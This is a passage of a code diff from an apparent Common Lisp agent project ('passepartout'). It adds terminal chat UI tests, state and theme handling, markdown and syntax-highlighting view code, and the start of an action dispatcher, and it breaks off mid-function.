+      (fiveam:is (eq :system (getf last-msg :role)))
+      (fiveam:is (search "=> 3" (getf last-msg :content))))))
+
+(fiveam:test test-on-key-backspace
+  "Contract 1: on-key with Backspace removes last character from buffer."
+  (init-state)
+  (dolist (ch '(#\a #\b #\c))
+    (on-key (char-code ch)))
+  (fiveam:is (string= "abc" (input-string)))
+  ;; ncurses returns 263 (KEY_BACKSPACE) when keypad is enabled
+  (on-key 263)
+  (fiveam:is (string= "ab" (input-string))))
+
+(fiveam:test test-on-key-focus-command
+  "Contract 1: /focus command parses project name."
+  (init-state)
+  (dolist (ch (coerce "/focus myapp" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((msg (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf msg :role)))))
+
+(fiveam:test test-on-key-scope-command
+  "Contract 1: /scope command with valid argument."
+  (init-state)
+  (dolist (ch (coerce "/scope memex" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((msg (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf msg :role)))))
+
+(fiveam:test test-on-key-unfocus-command
+  "Contract 1: /unfocus command dispatches correctly."
+  (init-state)
+  (dolist (ch (coerce "/unfocus" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((msg (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf msg :role)))))
+
+(fiveam:test test-on-key-tab-completion
+  "Contract 1: Tab completes / commands when input starts with /."
+  (init-state)
+  (dolist (ch (coerce "/ev" 'list))
+    (on-key (char-code ch)))
+  (on-key 9)
+  (fiveam:is (string= "/eval " (input-string))))
+
+(fiveam:test test-on-key-tab-no-slash
+  "Contract 1: Tab does nothing when input doesn't start with /."
+  (init-state)
+  (dolist (ch (coerce "hello" 'list))
+    (on-key (char-code ch)))
+  (on-key 9)
+  (fiveam:is (string= "hello" (input-string))))
+
+(fiveam:test test-on-key-multiline
+  "Contract 1: \\ + Enter inserts newline instead of sending."
+  (init-state)
+  (dolist (ch (coerce "line1" 'list))
+    (on-key (char-code ch)))
+  (on-key (char-code #\\))
+  (on-key 343)
+  (fiveam:is (search "line1" (input-string)))
+  (fiveam:is (search (string #\Newline) (input-string))))
+
+(fiveam:test test-on-key-help
+  "Contract 1: /help displays command list."
+  (init-state)
+  (dolist (ch (coerce "/help" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((msgs (st :messages)))
+    (fiveam:is (>= (length msgs) 3))
+    (fiveam:is (some (lambda (m) (search "/eval" (getf m :content))) msgs))))
+
+(fiveam:test test-activity-indicator
+  "Contract model: :busy flag is set on send and cleared on agent response."
+  (init-state)
+  (fiveam:is (eq nil (st :busy)))
+  ;; Simulate sending a normal message (sets busy)
+  (dolist (ch (coerce "hello" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (fiveam:is (eq t (st :busy)))
+  ;; Simulate receiving an agent response (clears busy)
+  (on-daemon-msg '(:type :event :payload (:text "hi back")))
+  (fiveam:is (eq nil (st :busy))))
+
+(fiveam:test test-theme
+  "Contract view: *tui-theme* provides color mappings."
+  (fiveam:is (eq :green (getf *tui-theme* :user)))
+  (fiveam:is (eq :white (getf *tui-theme* :agent)))
+  (fiveam:is (eq :yellow (getf *tui-theme* :system)))
+  (fiveam:is (eq :cyan (getf *tui-theme* :input)))
+  (fiveam:is (eq :white (theme-color :unknown-role))))
+
+(fiveam:test test-on-key-ctrl-u-clears
+  "Contract 1/v0.7.0: Ctrl+U clears the input buffer."
+  (init-state)
+  (dolist (ch '(#\h #\i)) (on-key (char-code ch)))
+  (on-key 21) ; Ctrl+U
+  (fiveam:is (string= "" (input-string))))
+
+(fiveam:test test-on-key-ctrl-l-redraws
+  "Contract 1/v0.7.0: Ctrl+L sets all dirty flags."
+  (init-state)
+  (setf (st :dirty) (list nil nil nil))
+  (on-key 12) ; Ctrl+L
+  (let ((d (st :dirty)))
+    (fiveam:is (eq t (first d)))
+    (fiveam:is (eq t (second d)))))
+
+(fiveam:test test-scroll-notify
+  "Contract/v0.7.0: add-msg sets scroll-notify when scrolled up."
+  (init-state)
+  (setf (st :scroll-at-bottom) nil)
+  (add-msg :agent "hi")
+  (fiveam:is (eq t (st :scroll-notify)))
+  (setf (st :scroll-at-bottom) t (st :scroll-notify) nil)
+  (add-msg :agent "hi2")
+  (fiveam:is (eq nil (st :scroll-notify))))
+
+(fiveam:test test-tab-subcommand
+  "Contract/v0.7.0: Tab completes subcommand for /theme."
+  (init-state)
+  (dolist (ch (coerce "/theme " 'list)) (on-key (char-code ch)))
+  (on-key 9)
+  (fiveam:is (search "dark" (input-string) :test #'char-equal)))
+
+;; ── v0.7.1 Streaming ──
+
+(fiveam:test test-stream-chunk-appends
+  "Contract/v0.7.1: stream-chunk frame appends to last message."
+  (init-state)
+  (on-daemon-msg '(:type :stream-chunk :payload (:text "Hello")))
+  (on-daemon-msg '(:type :stream-chunk :payload (:text " world")))
+  (let ((msgs (st :messages)))
+    (fiveam:is (= 1 (length msgs)))
+    (let ((msg (aref msgs 0)))
+      (fiveam:is (eq :agent (getf msg :role)))
+      (fiveam:is (string= "Hello world" (getf msg :content)))
+      (fiveam:is (eq t (getf msg :streaming))))))
+
+(fiveam:test test-stream-chunk-final
+  "Contract/v0.7.1: final empty chunk stamps timestamp and clears streaming flag."
+  (init-state)
+  (on-daemon-msg '(:type :stream-chunk :payload (:text "Hi")))
+  (on-daemon-msg '(:type :stream-chunk :payload (:text "")))
+  (let ((msg (aref (st :messages) 0)))
+    (fiveam:is (stringp (getf msg :time)))
+    (fiveam:is (string= "Hi" (getf msg :content)))
+    (fiveam:is (null (st :streaming-text)))))
+
+(fiveam:test test-stream-interrupt
+  "Contract/v0.7.1: Esc during streaming appends [interrupted] and finalizes."
+  (init-state)
+  (on-daemon-msg '(:type :stream-chunk :payload (:text "partial")))
+  (on-key 27)
+  (let ((msg (aref (st :messages) 0)))
+    (fiveam:is (stringp (getf msg :time)))
+    (fiveam:is (search "[interrupted]" (getf msg :content)))
+    (fiveam:is (null (st :streaming-text)))
+    (fiveam:is (null (st :busy)))))
+
+(fiveam:test test-stream-check-skip
+  "Contract/v0.7.1: Esc without active streaming does nothing."
+  (init-state)
+  (on-key 27)
+  (fiveam:is (null (st :streaming-text)))
+  (fiveam:is (= 0 (length (st :messages)))))
+
+(fiveam:test test-tab-open-url
+  "Contract/v0.7.1: Tab on empty input with URL message extracts URL."
+  (init-state)
+  (add-msg :agent "visit https://example.com for info")
+  ;; Tab should extract URL and set url buffer (model-level test)
+  (on-key 9)
+  (fiveam:is (string= "https://example.com" (st :url-buffer))))

lisp/channel-tui-state.lisp

@@ -0,0 +1,160 @@
+(defpackage :passepartout.channel-tui
+  (:use :cl :croatoan :passepartout :usocket :bordeaux-threads)
+  (:export :tui-main :st :add-msg :now :input-string
+           :queue-event :drain-queue :init-state
+           :view-status :view-chat :view-input :redraw
+           :on-key :on-daemon-msg :send-daemon
+           :connect-daemon :disconnect-daemon
+           :*tui-theme* :theme-color))
+(in-package :passepartout.channel-tui)
+
+(defvar *state* nil)
+(defvar *event-queue* nil)
+(defvar *event-lock* (bt:make-lock "tui-event-lock"))
+
+(defvar *tui-theme*
+  ;; Roles
+  '(:user :green :agent :white :system :yellow
+    ;; Content
+    :input :cyan :timestamp :yellow :help :cyan :error :red :warning :yellow
+    ;; Status
+    :connected :green :disconnected :red :busy :magenta :idle :white
+    ;; Gate trace
+    :gate-passed :green :gate-blocked :red :gate-approval :yellow
+    ;; Tools (future use)
+    :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
+    ;; Display
+    :scroll-indicator :cyan :border :white :background :black
+    ;; Differentiator (v0.4.0)
+    :rule-count :cyan :focus-map :yellow
+    ;; UI
+    :dim :white :highlight :cyan :accent :green)
+  "Color theme plist. 27 semantic keys → Croatoan color values.
+See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
+
+(defvar *tui-theme-presets*
+  '(:dark  (:user :green :agent :white :system :yellow
+            :input :cyan :timestamp :yellow :help :cyan :error :red :warning :yellow
+            :connected :green :disconnected :red :busy :magenta :idle :white
+            :gate-passed :green :gate-blocked :red :gate-approval :yellow
+            :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
+            :scroll-indicator :cyan :border :white :background :black
+            :rule-count :cyan :focus-map :yellow
+            :dim :white :highlight :cyan :accent :green)
+    :light (:user :blue :agent :black :system :red
+            :input :black :timestamp :yellow :help :blue :error :red :warning :yellow
+            :connected :green :disconnected :red :busy :magenta :idle :black
+            :gate-passed :green :gate-blocked :red :gate-approval :yellow
+            :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :black
+            :scroll-indicator :blue :border :black :background :white
+            :rule-count :blue :focus-map :red
+            :dim :white :highlight :blue :accent :green)
+    :gruvbox (:user "#458588" :agent "#ebdbb2" :system "#fabd2f"
+              :input "#ebdbb2" :timestamp "#928374" :help "#83a598" :error "#fb4934" :warning "#fabd2f"
+              :connected "#b8bb26" :disconnected "#fb4934" :busy "#d3869b" :idle "#a89984"
+              :gate-passed "#b8bb26" :gate-blocked "#fb4934" :gate-approval "#fabd2f"
+              :tool-running "#d3869b" :tool-success "#b8bb26" :tool-failure "#fb4934" :tool-output "#ebdbb2"
+              :scroll-indicator "#83a598" :border "#a89984" :background "#282828"
+              :rule-count "#83a598" :focus-map "#fabd2f"
+              :dim "#928374" :highlight "#83a598" :accent "#b8bb26")
+    :solarized (:user "#268bd2" :agent "#839496" :system "#b58900"
+                :input "#839496" :timestamp "#93a1a1" :help "#2aa198" :error "#dc322f" :warning "#b58900"
+                :connected "#859900" :disconnected "#dc322f" :busy "#d33682" :idle "#657b83"
+                :gate-passed "#859900" :gate-blocked "#dc322f" :gate-approval "#b58900"
+                :tool-running "#d33682" :tool-success "#859900" :tool-failure "#dc322f" :tool-output "#839496"
+                :scroll-indicator "#2aa198" :border "#657b83" :background "#002b36"
+                :rule-count "#2aa198" :focus-map "#b58900"
+                :dim "#586e75" :highlight "#2aa198" :accent "#859900"))
+  "Named theme presets. /theme <name> loads one into *tui-theme*.")
+
+(defvar *tui-theme-current-name* :dark
+  "Name of the currently active theme preset.")
+
+(defun theme-save ()
+  "Persist current theme to disk."
+  (let ((path (merge-pathnames ".cache/passepartout/theme.lisp"
+                               (user-homedir-pathname))))
+    (uiop:ensure-all-directories-exist (list path))
+    (with-open-file (out path :direction :output :if-exists :supersede :if-does-not-exist :create)
+      (format out ";; Passepartout TUI theme — auto-generated~%")
+      (format out "(setf passepartout.channel-tui::*tui-theme* '~s)~%" *tui-theme*)
+      (format out "(setf passepartout.channel-tui::*tui-theme-current-name* ~s)~%" *tui-theme-current-name*))
+    t))
+
+(defun theme-load ()
+  "Load persisted theme from disk. Called at startup."
+  (let ((path (merge-pathnames ".cache/passepartout/theme.lisp"
+                               (user-homedir-pathname))))
+    (when (uiop:file-exists-p path)
+      (ignore-errors (load path)))))
+
+(defun theme-switch (name)
+  "Switch to a named theme preset. Returns the preset name or nil if not found."
+  (let* ((key (intern (string-upcase (string name)) :keyword))
+         (preset (getf *tui-theme-presets* key)))
+    (when preset
+      (setf *tui-theme* (copy-list preset)
+            *tui-theme-current-name* key)
+      (theme-save)
+      (setf (st :dirty) (list t t t))
+      key)))
+
+(defun theme-color (role)
+  "Returns the Croatoan color for a semantic role."
+  (or (getf *tui-theme* role) :white))
+
+(defun st (key) (getf *state* key))
+(defun (setf st) (val key) (setf (getf *state* key) val))
+
+(defun init-state ()
+  (setf *state*
+        (list :running t :mode :chat :connected nil :stream nil
+              :input-buffer nil :input-history nil :input-hpos 0
+              :messages (make-array 16 :adjustable t :fill-pointer 0)
+              :scroll-offset 0 :busy nil :cursor-pos 0
+              :pending-ctrl-x nil
+              :scroll-at-bottom t :scroll-notify nil
+              :streaming-text nil :url-buffer nil   ; v0.7.1
+              :dirty (list nil nil nil))))
+
+(defun now ()
+  (multiple-value-bind (s m h) (get-decoded-time)
+    (declare (ignore s))
+    (format nil "~2,'0d:~2,'0d" h m)))
+
+(defun input-string ()
+  (coerce (reverse (st :input-buffer)) 'string))
+
+(defun input-insert-char (ch)
+  "Insert character at cursor position into the input buffer."
+  (let* ((buf (st :input-buffer))
+         (pos (or (st :cursor-pos) 0))
+         (s (coerce (reverse buf) 'string))
+         (new (concatenate 'string (subseq s 0 pos) (string ch) (subseq s pos))))
+    (setf (st :input-buffer) (reverse (coerce new 'list)))
+    (setf (st :cursor-pos) (1+ pos))))
+
+(defun input-delete-char ()
+  "Delete character before cursor position (standard backspace)."
+  (let* ((buf (st :input-buffer))
+         (pos (or (st :cursor-pos) 0)))
+    (when (and buf (> pos 0))
+      (let* ((s (coerce (reverse buf) 'string))
+             (new (concatenate 'string (subseq s 0 (1- pos)) (subseq s pos))))
+        (setf (st :input-buffer) (reverse (coerce new 'list)))
+        (setf (st :cursor-pos) (1- pos))))))
+
+(defun add-msg (role content &key gate-trace)
+  (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace) (st :messages))
+  ;; v0.7.0: notify when scrolled up and new msg arrives
+  (unless (st :scroll-at-bottom)
+    (setf (st :scroll-notify) t))
+  (setf (st :dirty) (list t t nil)))
+
+(defun queue-event (ev)
+  (bt:with-lock-held (*event-lock*) (push ev *event-queue*)))
+
+(defun drain-queue ()
+  (bt:with-lock-held (*event-lock*)
+    (let ((evs (nreverse *event-queue*)))
+      (setf *event-queue* nil) evs)))

lisp/channel-tui-view.lisp

@@ -0,0 +1,340 @@
+(in-package :passepartout.channel-tui)
+
+(defun view-status (win)
+  (clear win)
+  (box win 0 0)
+  (add-string win
+   (format nil " Passepartout  ~a  [~a]  msgs:~a  scroll:~a  Rules:~a~a"
+           (if (st :connected) "● Connected" "○ Disconnected")
+           (string-upcase (string (st :mode)))
+           (length (st :messages))
+           (if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
+           (or (st :rule-count) 0)
+           (if (st :streaming-text) "  [streaming]"
+               (if (st :busy) "  …thinking" "")))
+   :y 1 :x 1 :fgcolor (theme-color (if (st :connected) :connected :disconnected)))
+  ;; Second line: Focus map (left) + timestamp (right-aligned, v0.7.0)
+  (let ((focus-info (or (st :foveal-id) "")))
+    (when (and focus-info (> (length focus-info) 0))
+      (add-string win (format nil " [Focus: ~a]" focus-info)
+                  :y 2 :x 1 :fgcolor (theme-color :timestamp))))
+  (add-string win (format nil " ~a" (now))
+              :y 2 :x (max 1 (- (width win) 12))
+              :fgcolor (theme-color :timestamp))
+  (refresh win))
+
+(defun word-wrap (text width)
+  "Break text into lines at word boundaries, each <= width chars.
+Returns list of trimmed strings. Single words wider than width are split."
+  (let ((lines '())
+        (pos 0)
+        (len (length text)))
+    (loop while (< pos len)
+          do (let ((end (min len (+ pos width))))
+               (cond
+                 ((>= end len)
+                  (push (string-trim '(#\Space) (subseq text pos len)) lines)
+                  (setf pos len))
+                 ((char= (char text (1- end)) #\Space)
+                  (push (string-trim '(#\Space) (subseq text pos end)) lines)
+                  (setf pos end))
+                 (t
+                  (let ((last-space (position #\Space text :from-end t :end (1+ end) :start pos)))
+                    (if (and last-space (> last-space pos))
+                        (progn
+                          (push (string-trim '(#\Space) (subseq text pos last-space)) lines)
+                          (setf pos (1+ last-space)))
+                        (progn
+                          (push (string-trim '(#\Space) (subseq text pos end)) lines)
+                          (setf pos end))))))))
+    (nreverse lines)))
+
+(defun view-chat (win h)
+  (clear win)
+  (box win 0 0)
+  (let* ((w (or (width win) 78))
+         (msgs (st :messages))
+         (total (length msgs))
+         (max-lines (- h 2))
+         (y 1))
+    ;; Count visible messages from end, accounting for word wrap
+    (let* ((msg-count 0)
+           (lines-remaining max-lines))
+      (loop for i from (1- total) downto 0
+            while (> lines-remaining 0)
+            do (let* ((msg (aref msgs i))
+                      (role (getf msg :role))
+                      (content (getf msg :content))
+                      (time (or (getf msg :time) ""))
+                      (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
+                      (line-text (format nil "~a [~a] ~a" prefix time content))
+                      (wrapped (word-wrap line-text (- w 2)))
+                      (nlines (length wrapped)))
+                 (if (<= nlines lines-remaining)
+                     (progn (decf lines-remaining nlines) (incf msg-count))
+                     (setf lines-remaining 0))))
+      ;; Render from the correct starting message
+      (let* ((scroll-skip (st :scroll-offset))
+             (start (max 0 (- total msg-count scroll-skip))))
+        (loop for i from start below total
+              while (< y (1- h))
+              do (let* ((msg (aref msgs i))
+                        (role (getf msg :role))
+                        (content (getf msg :content))
+                        (time (or (getf msg :time) ""))
+                        (color (theme-color (case role (:user :user) (:agent :agent) (:system :system) (t :agent))))
+                        (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
+                        (line-text (format nil "~a [~a] ~a" prefix time content))
+                        (wrapped (word-wrap line-text (- w 2))))
+                   (dolist (line wrapped)
+                     (when (< y (1- h))
+                       (if (eq role :agent)
+                           (let ((segments (parse-markdown-spans line)))
+                             (setf y (render-styled win segments y 1 w)))
+                           (progn
+                             (add-string win line :y y :x 1 :n (1- w) :fgcolor color)
+                             (incf y))))))))))
+  (refresh win))
+
+(defun view-input (win)
+  (let* ((text (input-string))
+         (w (or (width win) 78))
+         (pos (or (st :cursor-pos) 0))
+         (display-start (max 0 (- pos (1- w))))
+         (visible (subseq text display-start (min (length text) (+ display-start w)))))
+    (clear win)
+    (add-string win (format nil "~a " visible) :y 0 :x 0 :n (1- w) :fgcolor (theme-color :input))
+    (setf (cursor-position win) (list 0 (min (- pos display-start) (1- w)))))
+  (refresh win))
+
+(defun redraw (sw cw ch iw)
+  (destructuring-bind (sd cd id) (st :dirty)
+    (when sd (view-status sw))
+    (when cd (view-chat cw ch))
+    (when id (view-input iw))
+     (setf (st :dirty) (list nil nil nil))))
+
+(in-package :passepartout)
+
+(defun char-width (ch)
+  "Returns the terminal column width of character CH.
+ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
+  (let ((code (char-code ch)))
+    (cond
+      ((= code 9) 8)
+      ((< code 32) 0)
+      ((<= code 127) 1)
+      ((<= #x4E00 code #x9FFF) 2)
+      ((<= #x3400 code #x4DBF) 2)
+      ((<= #x3040 code #x309F) 2)
+      ((<= #x30A0 code #x30FF) 2)
+      ((<= #xAC00 code #xD7AF) 2)
+      ((<= #xFF01 code #xFF60) 2)
+      ((<= #xFFE0 code #xFFE6) 2)
+      ((<= #x1F300 code #x1F9FF) 2)
+      ((<= #x2600 code #x27BF) 2)
+      ((<= #x0300 code #x036F) 0)
+      ((<= #x20D0 code #x20FF) 0)
+      ((<= #xFE00 code #xFE0F) 0)
+      (t 1))))
+
+(in-package :passepartout)
+
+(defun parse-markdown-spans (text)
+  "Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))."
+  (let ((results nil) (pos 0) (len (length text)))
+    (labels ((earliest (a b) (cond ((and a (or (null b) (< a b))) a) (b b))))
+      (loop
+        (when (>= pos len) (return))
+        (let* ((bold (search "**" text :start2 pos))
+               (code (search "`" text :start2 pos))
+               (italic (search "*" text :start2 pos))
+               (http (search "http://" text :start2 pos))
+               (https (search "https://" text :start2 pos))
+               (url-s (or https http)))
+          (flet ((pick (tag delim)
+                   (let ((end (search delim text :start2 (+ pos (length delim)))))
+                     (when end
+                       (push (cons (subseq text (+ pos (length delim)) end)
+                                   (case tag (:bold '(:bold t))
+                                        (:code '(:code t :bgcolor :dim))
+                                        (:underline '(:underline t))
+                                        (:url '(:url t))))
+                             results)
+                       (setf pos (+ end (length delim)))
+                       t)))
+                 (url-end (start)
+                   (or (position-if (lambda (c) (find c '(#\Space #\Newline #\Tab #\))))
+                                    text :start start)
+                       len)))
+            (let ((next (earliest (earliest (earliest bold code) italic) url-s)))
+              (cond ((and bold (eql bold next)) (unless (pick :bold "**") (incf pos 2)))
+                    ((and code (eql code next)) (unless (pick :code "`") (incf pos)))
+                    ((and italic (eql italic next)) (unless (pick :underline "*") (incf pos)))
+                    ((and url-s (eql url-s next))
+                     (let ((ue (url-end url-s)))
+                       (push (cons (subseq text url-s ue) '(:url t)) results)
+                       (setf pos ue)))
+                    (t (push (cons (subseq text pos) nil) results) (return))))))))
+    (nreverse results)))
+
+(defun render-styled (win segments y x w)
+  "Render markdown segments to Croatoan window. Returns next y."
+  (dolist (seg segments)
+    (when (>= y (height win)) (return y))
+    (let* ((text (or (car seg) ""))
+           (attrs (cdr seg))
+           (bold (getf attrs :bold))
+           (code (getf attrs :code))
+           (underline (getf attrs :underline))
+           (url (getf attrs :url)))
+      (add-string win text :y y :x x :n (max 1 (- w x))
+                  :bold bold :underline underline
+                  :bgcolor (when code (theme-color :dim))
+                  :fgcolor (cond (url (theme-color :highlight))
+                                 (t (theme-color (or (getf attrs :role) :agent)))))
+      (incf x (length text))))
+  y)
+
+(defun parse-markdown-blocks (text)
+  "Split text at ``` code block boundaries."
+  (let ((r nil) (p 0) (l (length text)))
+    (loop
+     (when (>= p l) (return))
+     (let ((bs (search "```" text :start2 p)))
+       (unless bs
+         (push (cons (subseq text p) nil) r)
+         (return))
+       (when (> bs p)
+         (push (cons (subseq text p bs) nil) r))
+       (let* ((ao (+ bs 3))
+              (le (or (position #\Newline text :start ao) l))
+              (lang (string-trim " \r\n\t" (if (< le l) (subseq text ao le) "")))
+              (cs (if (< le l) (1+ le) l))
+              (cp (search "```" text :start2 cs))
+              (ce (or cp l))
+              (content (string-trim "\r\n" (subseq text cs ce))))
+         (push (list :code-block t :lang lang :content content) r)
+         (setf p (if cp (+ cp 3) l)))))
+    (nreverse r)))
+
+(defun syntax-highlight (code lang)
+  "Highlight Lisp code: strings, comments, keywords, function calls."
+  (declare (ignore lang))
+  (let* ((r nil) (p 0) (l (length code))
+         (kw '("defun" "defvar" "defparameter" "let" "let*" "lambda" "if" "when" "unless"
+               "cond" "loop" "dolist" "dotimes" "progn" "prog1" "return"
+               "setf" "setq" "format" "and" "or" "not" "list" "cons"
+               "quote" "function" "declare" "ignore" "t" "nil")))
+    (flet ((wordp (c) (or (alphanumericp c) (find c "-*+/?!_=<>"))))
+      (loop
+       (when (>= p l) (return))
+       (let* ((ss (position #\" code :start p))
+              (sc (position #\; code :start p))
+              (sp (position #\( code :start p))
+              (next (min (or ss l) (or sc l) (or sp l))))
+         (when (> next p)
+           (push (cons (subseq code p next) nil) r)
+           (setf p next))
+         (when (>= p l) (return))
+         (cond
+          ((eql p ss)
+           (let ((e (or (position #\" code :start (1+ p)) l)))
+             (push (cons (subseq code p (min (1+ e) l)) '(:fgcolor :string)) r)
+             (setf p (min (1+ e) l))))
+          ((eql p sc)
+           (let ((e (or (position #\Newline code :start p) l)))
+             (push (cons (subseq code p e) '(:fgcolor :comment)) r)
+             (setf p e)))
+          ((eql p sp)
+           (push (cons "(" nil) r)
+           (incf p)
+           (let ((fe (loop for i from p below l for c = (char code i)
+                           while (wordp c) finally (return i))))
+             (when (> fe p)
+               (let ((fs (subseq code p fe)))
+                 (push (cons fs (list :fgcolor (if (member fs kw :test #'string=)
+                                                   :keyword :function))) r)
+                 (setf p fe)))))))))
+    (nreverse r)))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-tui-view-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:tui-view-suite))
+
+(in-package :passepartout-tui-view-tests)
+
+(def-suite tui-view-suite :description "TUI view rendering helpers")
+(in-suite tui-view-suite)
+
+(test test-char-width-ascii
+  "Contract 5: ASCII characters (< 128) have width 1."
+  (is (= 1 (passepartout::char-width #\a)))
+  (is (= 1 (passepartout::char-width #\Space)))
+  (is (= 1 (passepartout::char-width #\@))))
+
+(test test-char-width-tab
+  "Contract 5: tab character has width 8."
+  (is (= 8 (passepartout::char-width #\Tab))))
+
+(test test-char-width-cjk
+  "Contract 5: CJK characters have width 2."
+  (is (= 2 (passepartout::char-width #\日))))
+
+(test test-char-width-null
+  "Contract 5: null has width 0."
+  (is (= 0 (passepartout::char-width #\Nul))))
+
+(test test-markdown-bold
+  "Contract 7: parse-markdown-spans detects **bold**."
+  (let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
+    (is (= 3 (length segments)))))
+
+(test test-markdown-plain
+  "Contract 7: plain text returns single segment."
+  (let ((segments (passepartout::parse-markdown-spans "plain")))
+    (is (= 1 (length segments)))
+    (is (string= "plain" (caar segments)))))
+
+(test test-markdown-url
+  "Contract 7: parse-markdown-spans detects URLs."
+  (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
+    (is (>= (length segments) 2))
+    (is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
+
+(test test-markdown-blocks
+  "Contract 8: parse-markdown-blocks detects code blocks."
+  (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
+         (segs (passepartout::parse-markdown-blocks text)))
+    (is (= 3 (length segs)))
+    (let ((code (second segs)))
+      (is (eq t (getf code :code-block)))
+      (is (string= "lisp" (getf code :lang)))
+      (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
+
+(test test-markdown-blocks-no-close
+  "Contract 8: unclosed code block returns content."
+  (let* ((text (format nil "```~%unclosed code"))
+         (segs (passepartout::parse-markdown-blocks text)))
+    (is (= 1 (length segs)))
+    (is (eq t (getf (first segs) :code-block)))))
+
+(test test-syntax-highlight
+  "Contract 9: syntax-highlight colors Lisp code."
+  (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
+    (is (>= (length segs) 3))))
+
+(test test-syntax-highlight-keyword
+  "Contract 9: syntax-highlight colors keywords."
+  (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
+    (is (>= (length segs) 2))
+    (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-syntax-highlight-function
+  "Contract 9: syntax-highlight colors function calls."
+  (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
+    (is (>= (length segs) 2))
+    (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))

lisp/core-act.lisp

@@ -0,0 +1,226 @@
+(in-package :passepartout)
+
+(defvar *actuator-default* :cli
+  "The actuator used when no explicit target is specified.")
+
+(defvar *actuator-silent* '(:cli :system-message :emacs)
+  "List of actuators that don't generate tool-output feedback.")
+
+(defun actuator-initialize ()
+  "Register core actuators and load configuration."
+  (let ((def (uiop:getenv "DEFAULT_ACTUATOR"))
+        (silent (uiop:getenv "SILENT_ACTUATORS")))
+    (when def
+      (setf *actuator-default* (intern (string-upcase def) :keyword)))
+    (when silent
+      (setf *actuator-silent*
+            (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) :keyword))
+                    (uiop:split-string silent :separator '(#\,))))))
+
+  (register-actuator :system #'action-system-execute)
+  (register-actuator :tool #'action-tool-execute)
+
+  (register-actuator :tui (lambda (action context)
+                             (declare (ignore context))
+                             (let* ((meta (getf action :meta))
+                                    (stream (getf meta :reply-stream)))
+                               (when (and stream (open-stream-p stream))
+                                 ;; Enrich response with differentiator visualization data
+                              (setf (getf (getf action :payload) :rule-count)
+                                    (if (boundp '*hitl-pending*)
+                                        (hash-table-count *hitl-pending*)
+                                        0))
+                                 (setf (getf (getf action :payload) :foveal-id)
+                                       (getf context :foveal-id))
+                                 (format stream "~a" (frame-message action))
+                                 (finish-output stream))))))
+
+(defun action-dispatch (action context)
+  "Route an approved action to its registered actuator."
+  (let ((payload (proto-get action :payload)))
+    (when (eq (proto-get payload :sensor) :heartbeat)
+      (return-from action-dispatch nil))
+
+    (when (and action (listp action))
+      (let* ((meta (proto-get context :meta))
+             (source (proto-get meta :source))
+             (raw-target (or (proto-get action :target) source *actuator-default*))
+             (target (intern (string-upcase (string raw-target)) :keyword))
+             ;; If target is :SYSTEM and we have a live reply-stream, route to :TUI instead
+             (actual-target (if (and (eq target :system)
+                                     (getf meta :reply-stream)
+                                     (ignore-errors (open-stream-p (getf meta :reply-stream))))
+                               :tui
+                               target))
+             (actuator-fn (gethash actual-target *actuator-registry*)))
+        (when (and meta (null (getf action :meta)))
+          (setf (getf action :meta) meta))
+        (if actuator-fn
+            (funcall actuator-fn action context)
+            (log-message "ACT ERROR: No actuator registered for '~s'" actual-target))))))
+
+(defun action-system-execute (action context)
+  "Execute internal harness commands."
+  (declare (ignore context))
+  (let* ((payload (getf action :payload))
+         (cmd (getf payload :action)))
+    (case cmd
+      (:eval
+       (eval (let ((*read-eval* nil)) (read-from-string (getf payload :code)))))
+      (:message
+       (log-message "ACT [System]: ~a" (getf payload :text)))
+      (t
+       (log-message "ACT ERROR [System]: Unknown command '~s'" cmd)))))
+
+(defun action-tool-execute (action context)
+  "Execute a registered cognitive tool."
+  (let* ((payload (getf action :payload))
+         (tool-name (getf payload :tool))
+         (tool-args (getf payload :args))
+         (depth (getf context :depth 0))
+         (meta (getf context :meta))
+         (source (getf meta :source))
+         (tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
+    (if tool
+        (handler-case
+            (let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
+                   (result (funcall (cognitive-tool-body tool) clean-args)))
+              (when source
+                (action-dispatch (list :TYPE :REQUEST :TARGET source 
+                                       :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name result)))
+                                context))
+              (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
+                    :PAYLOAD (list :SENSOR :tool-output :RESULT result :TOOL tool-name)))
+          (error (c)
+            (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
+                  :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c)))))
+        (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
